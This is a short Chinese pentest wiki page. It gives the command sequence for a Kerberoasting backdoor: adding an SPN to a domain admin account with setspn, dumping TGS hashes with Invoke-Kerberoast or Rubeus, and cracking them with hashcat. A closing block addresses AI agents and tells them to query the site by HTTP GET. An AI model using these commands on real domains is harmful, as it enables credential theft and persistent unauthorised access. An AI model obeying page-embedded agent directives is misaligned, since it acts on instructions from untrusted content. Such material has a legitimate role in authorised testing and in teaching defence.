# Kerberoasting后门

```
当有setspn权限时，为域用户添加一个SPN
>setspn -U -A RDP/zone.com godadmin
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/549.png)

```
域内任何主机可以使用Kerberoast 获得TGS
https://github.com/malachitheninja/Invoke-Kerberoast
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/550.png)

```
>Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation |Out-File xx.txt
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/551.png)

```
或使用rubeus.exe
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/552.png)

```
破解
>hashcat -m 13100 -a 0 kerberos.txt wordlist.txt
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.heresecurity.wiki/quan-xian-wei-chi/windows/kerberoasting-hou-men.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
